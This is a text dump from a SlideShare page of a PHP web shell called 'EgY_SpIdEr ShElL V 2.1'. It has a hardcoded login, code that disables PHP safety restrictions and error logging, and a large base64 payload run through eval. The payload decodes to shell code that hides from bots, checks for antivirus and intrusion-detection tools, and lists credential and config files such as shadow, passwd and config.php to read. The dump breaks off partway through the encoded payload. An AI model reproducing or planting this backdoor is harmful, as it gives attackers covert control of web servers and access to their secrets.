SlideShare a Scribd company logo
1 of 149
<?
###########################################
# EgY_SpIdEr ShElL V 2.1 #
# EgY_SpIdEr #
# www.egyspider.net #
# ahmed rageh #
# egy_spider@hotmail.com #
###########################################
//Change User & Password
$tacfgd['uname'] = 'hamou20';
$tacfgd['pword'] = 'zybra2';
// Title of page.
$tacfgd['title'] = 'EgY_SpIdEr ShElL';
// Text to appear just above login form.
$tacfgd['helptext'] = 'EgY SpIdEr ShElL';
// Set to true to enable the optional remember-me feature, which stores
encrypted login details to
// allow users to be logged-in automatically on their return. Turn off for a
little extra security.
$tacfgd['allowrm'] = true;
// If you have multiple protected pages, and there's more than one username /
password combination,
// you need to group each combination under a distinct rmgroup so that the
remember-me feature
// knows which login details to use.
$tacfgd['rmgroup'] = 'default';
// Set to true if you use your own sessions within your protected page, to stop
txtAuth interfering.
// In this case, you _must_ call session_start() before you require() txtAuth.
Logging out will not
// destroy the session, so that is left up to you.
$tacfgd['ownsessions'] = false;
foreach ($tacfgd as $key => $val) {
if (!isset($tacfg[$key])) $tacfg[$key] = $val;
}
if (!$tacfg['ownsessions']) {
session_name('txtauth');
session_start();
}
// Logout attempt made. Deletes any remember-me cookie as well
if (isset($_GET['logout']) || isset($_POST['logout'])) {
setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
if (!$tacfg['ownsessions']) {
$_SESSION = array();
session_destroy();
}
else $_SESSION['txtauthin'] = false;
}
// Login attempt made
elseif (isset($_POST['login'])) {
if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword'])
{
$_SESSION['txtauthin'] = true;
if ($_POST['rm']) {
// Set remember-me cookie for 2 weeks
setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']),
time()+86400*14);
}
}
else $err = 'Login Faild !';
}
// Remember-me cookie exists
elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] &&
$tacfg['allowrm']) {
$_SESSION['txtauthin'] = true;
}
else $err = 'Login Faild !';
}
if (!$_SESSION['txtauthin']) {
@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
?>
<html dir=rtl>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
<title><?=$tacfg['title']?></title>
<STYLE>
BODY
{
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000;
SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR:
#726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-
FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}
tr {
BORDER-RIGHT: #dadada ;
BORDER-TOP: #dadada ;
BORDER-LEFT: #dadada ;
BORDER-BOTTOM: #dadada ;
color: #ffffff;
}
td {
BORDER-RIGHT: #dadada ;
BORDER-TOP: #dadada ;
BORDER-LEFT: #dadada ;
BORDER-BOTTOM: #dadada ;
color: #dadada;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #dadada;
}
table {
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #dadada;
}
input {
BORDER-RIGHT: #00FF00 1 solid;
BORDER-TOP: #00FF00 1 solid;
BORDER-LEFT: #00FF00 1 solid;
BORDER-BOTTOM: #00FF00 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #dadada;;
}
submit {
BORDER: buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #dadada;
}
textarea {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #dadada;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>
<script language='javascript'>
function hide_div(id)
{
document.getElementById(id).style.display = 'none';
document.cookie=id+'=0;';
}
function show_div(id)
{
document.getElementById(id).style.display = 'block';
document.cookie=id+'=1;';
}
function change_divst(id)
{
if (document.getElementById(id).style.display == 'none')
show_div(id);
else
hide_div(id);
}
</script>';
<body>
<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div>
<hr width="300" size="1" noshade color="#cdcdcd">
<p>
<div align="center" class="grey">
<?=$tacfg['helptext']?>
</div>
<p>
<?
if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];
else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action =
str_replace('logout=1', '', $action);
?>
<form name="txtauth" action="<?=$action?>" method="post">
<div align="center">
<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666"
style="border: 1px double #dedede;" dir="ltr">
<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.
$err.'</font></td></tr>':''?>
<?if (isset($tacfg['uname'])) {?>
<tr><td>User:</td><td><input type="text" name="uname" value="" size="20"
maxlength="100" class="txtbox"></td></tr>
<?}?>
<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20"
maxlength="100" class="txtbox"></td></tr>
<?if ($tacfg['allowrm']) {?>
<tr><td align="left"><input type="submit" name="login" value="Login">
</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm">
Remmeber Me?</label></td></tr>
<?} else {?>
<tr><td colspan="2" align="center">
<input type="submit" name="login" value="Login"></td></tr>
<?}?>
</table>
</div>
</form>
<br><br>
<hr width="300" size="1" noshade color="#cdcdcd">
<div class="smalltxt" align="center">Developed by
<a href="mailto:egy_spider@hotmail.com">EgY SpIdEr </a>· copyright ©
& EgY SpIdEr</div>
</body>
</html>
<?
// Don't delete this!
exit();
}
?>
Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?
logout=1">Logout</a></p>
<div align="right">
<?php
eval(base64_decode('aWYocHJlZ19tYXRjaCgiL2JvdC8iLCAkX1NFUlZFUltIVFRQX1VTRVJfQUdF
TlRdKSkge2hlYWRl
cigiSFRUUC8xLjAgNDA0Iik7ZXhpdCgiPGgxPk5vdCBGb3VuDQpkPC9oMT4iKTt9DQoNCiRsYW5n
dWFnZT0nZW5nJzsNCg0KJGF1dGggPSAwOw0KDQokbmFtZT0nN2QxZjY0NDJhOWVkNTllNjJmOTNk
Y2JjMjY5NWJhYTYnOyANCiRwYXNzPSc3ZDFmNjQ0MmE5ZWQ1OWU2MmY5M2RjYmMyNjk1YmFhNic7
DQoNCi8vcnVfUlUsIC8vcnVfUlUuY3AxMjUxLCAvL3J1X1JVLmlzbzg4NTk1LCAvL3J1X1JVLmtv
aThyLCAvL3J1X1JVLnV0ZjgNCkBzZXRsb2NhbGUoTENfQUxMLCdlbmdfRU5HLmNwMTI1MScpOw0K
DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIi
KTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7DQpAaW5pX3Jlc3RvcmUo
InNhZmVfbW9kZV9leGVjX2RpciIpOw0KQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIp
Ow0KQGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsNCg0KaWYoQGZ1bmN0aW9uX2V4aXN0
cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCiBAaW5pX3Nl
dCgnbG9nX2Vycm9ycycsMCk7DQogQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9z
ZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdlcnJv
cl9sb2cnLE5VTEwpOw0KIEBpbmlfYWx0ZXIoJ2xvZ19lcnJvcnMnLDApOw0KIEBpbmlfYWx0ZXIo
J2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTsNCiB9
DQogDQplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOw0KDQovKiA/Pz8gPz8/Pz8gKi8NCiR1c2VyZnVs
ID0gYXJyYXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywg
cHl0aG9uJywnLCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6
aXAyJywnLCBuYycsJywgbG9jYXRlJywnLCBzdWlkcGVybCcpOw0KJGRhbmdlciA9IGFycmF5KCcs
IGthdicsJywgbm9kMzInLCcsIGJkY29yZWQnLCcsIHV2c2NhbicsJywgc2F2JywnLCBkcndlYmQn
LCcsIGNsYW1kJywnLCBya2h1bnRlcicsJywgY2hrcm9vdGtpdCcsJywgaXB0YWJsZXMnLCcsIGlw
ZncnLCcsIHRyaXB3aXJlJywnLCBzaGllbGRjYycsJywgcG9ydHNlbnRyeScsJywgc25vcnQnLCcs
IG9zc2VjJywnLCBsaWRzYWRtJywnLCB0Y3Bsb2RnJywnLCBzeGlkJywnLCBsb2djaGVjaycsJywg
bG9nd2F0Y2gnLCcsIHN5c21hc2snLCcsIHptYnNjYXAnLCcsIHNhd21pbGwnLCcsIHdvcm1zY2Fu
JywnLCBuaW5qYScpOw0KJHRlbXBkaXJzID0gYXJyYXkoQGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9w
YXRoJykuJy8nLEBpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpLicvJywnL3RtcC8nLCcvZGV2L3No
bS8nLCcvdmFyL3RtcC8nKTsNCiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCds
eW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7DQoNCi8qID8/PyA/Pz8/Pz8gPz8/Pz8/Pz8gPz8/
PyA/Pz8/PyByZWFscGF0aCgpICovDQovLyRjaGFyc19ybHBoID0gIl8tLjAxMjM0NTY3ODkwYWJj
ZGVmZ2hpamtsbm1vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiI7IA0KLy8k
Y2hhcnNfcmxwaCA9ICJfLS4wMTIzNDU2Nzg5MGFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6Ijsg
DQovLyRjaGFyc19ybHBoID0gIl8tLkFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsgDQovLyRj
aGFyc19ybHBoID0gIl8tLmFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6IjsgDQoNCiRjaGFyc19y
bHBoID0gImFiY2RlZmdoaWprbG5tb3BxcnN0dXZ3eHl6IjsgDQoNCiRwcmVzZXRzX3JscGggPSBh
cnJheSgnaW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zo
b3N0cy5jb25mJywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZp
Zy5kZWZhdWx0LnBocCcsJ2NvbmZpZy5pbmMucGhwJywNCidzaGFkb3cnLCdwYXNzd2QnLCcuYmFz
aF9oaXN0b3J5JywnLm15c3FsX2hpc3RvcnknLCdtYXN0ZXIucGFzc3dkJywndXNlcicsJ2FkbWlu
JywncGFzc3dvcmQnLCdhZG1pbmlzdHJhdG9yJywncGhwTXlBZG1pbicsJ3NlY3VyaXR5JywncGhw
LmluaScsJ2Nkcm9tJywncm9vdCcsDQonbXkuY25mJywncHVyZWZ0cGQuY29uZicsJ3Byb2Z0cGQu
Y29uZicsJ2Z0cGQuY29uZicsJ3Jlc29sdi5jb25mJywnbG9naW4uY29uZicsJ3NtYi5jb25mJywn
c3lzY3RsLmNvbmYnLCdzeXNsb2cuY29uZicsJ2FjY2Vzcy5jb25mJywnYWNjb3VudGluZy5sb2cn
LCdob21lJywnaHRkb2NzJywNCidhY2Nlc3MnLCdhdXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRh
JywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhwYmIyJywndmJ1bGxldGluJywndmJ1bGxl
dCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90cy50eHQnLCdiaWxsaW5nJyk7DQoN
Ci8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCmRlZmlu
ZSgic3RhcnR0aW1lIixAZ2V0bWljcm90aW1lKCkpOw0KDQppZigoIUBmdW5jdGlvbl9leGlzdHMo
J2luaV9nZXQnKSkgfHwgKEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSE9TlVMTCkgfHwgKEBpbmlf
Z2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSE9TlVMTCkpeyRvcGVuX2Jhc2VkaXI9MTt9IGVs
c2V7JG9wZW5fYmFzZWRpcj0wO307DQoNCnNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBz
ZXRfdGltZV9saW1pdCgwKTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSkNCiB7DQog
QGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQogQGluaV9zZXQoJ291dHB1dF9idWZm
ZXJpbmcnLDApOw0KIH0NCmVsc2UNCiB7DQogQGluaV9hbHRlcignbWF4X2V4ZWN1dGlvbl90aW1l
JywwKTsNCiBAaW5pX2FsdGVyKCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiB9DQokc2FmZV9tb2Rl
ID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KI2lmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQn
KSl7JHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTt9ZWxzZXskc2FmZV9tb2RlPTE7
fTsNCiR2ZXJzaW9uID0gJzEuNDInOw0KaWYoQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigp
LCAnNC4xLjAnKSA9PSAtMSkNCiB7DQogJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KICRf
R0VUICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJT
Ow0KICRfQ09PS0lFID0gJiRIVFRQX0NPT0tJRV9WQVJTOw0KIH0NCmlmIChAZ2V0X21hZ2ljX3F1
b3Rlc19ncGMoKSkNCiB7DQogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCiAgew0KICAkX1BP
U1RbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRr
PT4kdikNCiAgew0KICAkX0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9IA0KIH0N
Cg0KaWYoJGF1dGggPT0gMSkgew0KaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUidd
KSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkhPT0kbmFtZSB8fCBtZDUoJF9TRVJW
RVJbJ1BIUF9BVVRIX1BXJ10pIT09JHBhc3MpDQogICB7DQogICBoZWFkZXIoJ1dXVy1BdXRoZW50
aWNhdGU6IEJhc2ljIHJlYWxtPSJIRUxMTyEiJyk7DQogICBoZWFkZXIoJ0hUVFAvMS4wIDQwMSBV
bmF1dGhvcml6ZWQnKTsNCiAgIGV4aXQoIjxoMT5BY2Nlc3MgRGVuaWVkPC9oMT4iKTsNCiAgIH0N
Cn0gICANCg0KaWYoIWlzc2V0KCRfQ09PS0lFWyd0ZW1wZGlyJ10sJF9DT09LSUVbJ3NlbGVjdF90
ZW1wZGlyJ10pKSB7DQoJJHRlbXBkaXI9Jy4vJzsNCgkkc2VsZWN0X3RlbXBkaXIgPSAnPHNlbGVj
dCBuYW1lPXRlbXBkaXI+PG9wdGlvbiB2YWx1ZT0iLi8iPi4vPC9vcHRpb24+JzsNCglmb3JlYWNo
KCAkdGVtcGRpcnMgYXMgJGl0ZW0pIHsNCgkJaWYoQGlzX3dyaXRhYmxlKCRpdGVtKSl7JHNlbGVj
dF90ZW1wZGlyIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciPicuJGl0ZW0uJzwvb3B0aW9u
Pic7JHRlbXBkaXI9JGl0ZW07fQ0KCX0NCgkkc2VsZWN0X3RlbXBkaXIgLj0gJzwvc2VsZWN0Pic7
DQp9ZWxzZXsNCglpZihpc3NldCgkX1BPU1RbJ3RlbXBkaXInXSkpeyR0ZW1wZGlyID0gJF9QT1NU
Wyd0ZW1wZGlyJ107fWVsc2V7JHRlbXBkaXIgPSAkX0NPT0tJRVsndGVtcGRpciddO30NCgkkc2Vs
ZWN0X3RlbXBkaXIgPSAkX0NPT0tJRVsnc2VsZWN0X3RlbXBkaXInXTsNCn0NCg0KJGhlYWQgPSAn
PCEtLSBFZ1lfU3BJZEVyIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjxsaW5rIHJlbD0ic2hvcnRjdXQg
aWNvbiIgaHJlZj0iaHR0cDovL2VneXNwaWRlci5uZXQvZmF2aWNvbi5pY28iIC8+IA0KPG1ldGEg
aHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iYXItc2EiPg0KPG1ldGEgaHR0
cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgi
IC8+DQo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHA6Ly9lZ3lzcGlkZXIubmV0L3No
ZWxsL2VneV9zcGlkZXIuY3NzIiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbiIgLz4NCjxz
Y3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCIgc3JjPSJo
dHRwOi8vZWd5c3BpZGVyLm5ldC9zaGVsbC9lZ3lfc3BpZGVyLmpzIj48L3NjcmlwdD4NCjxtZXRh
IGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImFyLXNhIj4NCjxtZXRhIG5h
bWU9IkdFTkVSQVRPUiIgY29udGVudD0iTWljcm9zb2Z0IEZyb250UGFnZSA2LjAiPg0KPG1ldGEg
bmFtZT0iUHJvZ0lkIiBjb250ZW50PSJGcm9udFBhZ2UuRWRpdG9yLkRvY3VtZW50Ij4NCjxtZXRh
IGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdp
bmRvd3MtMTI1NiI+DQo8dGl0bGU+RWdZX1NwSWRFciBTaEVsTDwvdGl0bGU+DQoNCg0KDQo8U1RZ
TEU+DQoNCkJPRFkNCiB7DQogICAgICAgIFNDUk9MTEJBUi1GQUNFLUNPTE9SOiAjMDAwMDAwOyBT
Q1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyBTQ1JPTExCQVItU0hBRE9XLUNPTE9S
OiAjMDAwMDAwOyBDT0xPUjogIzY2NjY2NjsgU0NST0xMQkFSLTNETElHSFQtQ09MT1I6ICM3MjY0
NTY7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogIzcyNjQ1NjsgU0NST0xMQkFSLVRSQUNLLUNPTE9S
OiAjMjkyOTI5OyBGT05ULUZBTUlMWTogVmVyZGFuYTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09M
T1I6ICM3MjY0NTYNCn0NCg0KdHIgew0KQk9SREVSLVJJR0hUOiAgIzMzMzMzMyA7DQpCT1JERVIt
VE9QOiAgICAjMzMzMzMzIDsNCkJPUkRFUi1MRUZUOiAgICMzMzMzMzMgOw0KQk9SREVSLUJPVFRP
TTogIzMzMzMzMyA7DQpjb2xvcjogI0ZGRkZGRjsNCn0NCnRkIHsNCkJPUkRFUi1SSUdIVDogICMz
MzMzMzMgOw0KQk9SREVSLVRPUDogICAgIzMzMzMzMyA7DQpCT1JERVItTEVGVDogICAjMzMzMzMz
IDsNCkJPUkRFUi1CT1RUT006ICMzMzMzMzMgOw0KY29sb3I6ICNGRkZGRkY7DQp9DQoudGFibGUx
IHsNCkJPUkRFUjogMTsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpjb2xvcjogIzMzMzMz
MzsNCn0NCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZm
ZmZmOw0KfQ0KLnRyMSB7DQpCT1JERVI6IDE7DQpjb2xvcjogIzMzMzMzMzsNCn0NCnRhYmxlIHsN
CkJPUkRFUjogICNlZWVlZWUgIG91dHNldDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMwMDAwMDA7DQpj
b2xvcjogIzMzMzMzMzsNCn0NCmlucHV0IHsNCkJPUkRFUi1SSUdIVDogICMwMEZGMDAgMSBzb2xp
ZDsNCkJPUkRFUi1UT1A6ICAgICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIzAwRkYw
MCAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogIzAwRkYwMCAxIHNvbGlkOw0KQkFDS0dST1VORC1D
T0xPUjogIzMzMzMzMzsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCnNl
bGVjdCB7DQpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAj
OTk5OTk5IDEgc29saWQ7DQpCT1JERVItTEVGVDogICAjOTk5OTk5IDEgc29saWQ7DQpCT1JERVIt
Qk9UVE9NOiAjZmZmZmZmIDEgc29saWQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KZm9u
dDogOXB0IHRhaG9tYTsNCmNvbG9yOiAjMzMzMzMzOzsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBi
dXR0b25oaWdobGlnaHQgMSBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMjcyNzI3Ow0Kd2lk
dGg6IDQwJTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAg
I2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVS
LUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlk
Ow0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xv
cjogI2ZmZmZmZjsNCn0NCg0KQk9EWSB7DQptYXJnaW46IDE7DQpjb2xvcjogIzMzMzMzMzsNCmJh
Y2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQp9DQpBOmxpbmsge0NPTE9SOnJlZDsgVEVYVC1ERUNP
UkFUSU9OOiBub25lfQ0KQTp2aXNpdGVkIHsgQ09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5v
bmV9DQpBOmFjdGl2ZSB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOmhvdmVy
IHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0NCg0KPC9TVFlMRT4NCjxzY3JpcHQg
bGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9j
dW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9j
dW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAg
ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQog
IGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlk
KQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0g
XCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0K
fQ0KPC9zY3JpcHQ+JzsNCmNsYXNzIHppcGZpbGUNCnsNCiAgICB2YXIgJGRhdGFzZWMgICAgICA9
IGFycmF5KCk7DQogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KICAgIHZhciAkZW9m
X2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCiAgICB2YXIg
JG9sZF9vZmZzZXQgICA9IDA7DQogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9
IDApIHsNCiAgICAgICAgJHRpbWVhcnJheSA9ICgkdW5peHRpbWUgPT0gMCkgPyBnZXRkYXRlKCkg
OiBnZXRkYXRlKCR1bml4dGltZSk7DQogICAgICAgIGlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAx
OTgwKSB7DQogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOw0KICAgICAg
ICAgICAgJHRpbWVhcnJheVsnbW9uJ10gICAgID0gMTsNCiAgICAgICAgICAgICR0aW1lYXJyYXlb
J21kYXknXSAgICA9IDE7DQogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOw0K
ICAgICAgICAgICAgJHRpbWVhcnJheVsnbWludXRlcyddID0gMDsNCiAgICAgICAgICAgICR0aW1l
YXJyYXlbJ3NlY29uZHMnXSA9IDA7DQogICAgICAgIH0gDQogICAgICAgIHJldHVybiAoKCR0aW1l
YXJyYXlbJ3llYXInXSAtIDE5ODApIDw8IDI1KSB8ICgkdGltZWFycmF5Wydtb24nXSA8PCAyMSkg
fCAoJHRpbWVhcnJheVsnbWRheSddIDw8IDE2KSB8DQogICAgICAgICAgICAgICAgKCR0aW1lYXJy
YXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGlt
ZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7DQogICAgfSANCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRk
YXRhLCAkbmFtZSwgJHRpbWUgPSAwKQ0KICAgIHsNCiAgICAgICAgJG5hbWUgICAgID0gc3RyX3Jl
cGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhp
cy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7DQogICAgICAgICRoZXhkdGltZSA9ICdceCcgLiAkZHRp
bWVbNl0gLiAkZHRpbWVbN10NCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVs0XSAu
ICRkdGltZVs1XQ0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1l
WzNdDQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07DQog
ICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQogICAgICAg
ICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOw0KICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAi
OyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgIA0K
ICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOyAgICAgICAgICAgIA0KICAgICAgICAkZnIgICAu
PSAkaGV4ZHRpbWU7ICAgICAgICAgICAgIA0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0
YSk7DQogICAgICAgICRjcmMgICAgID0gY3JjMzIoJGRhdGEpOw0KICAgICAgICAkemRhdGEgICA9
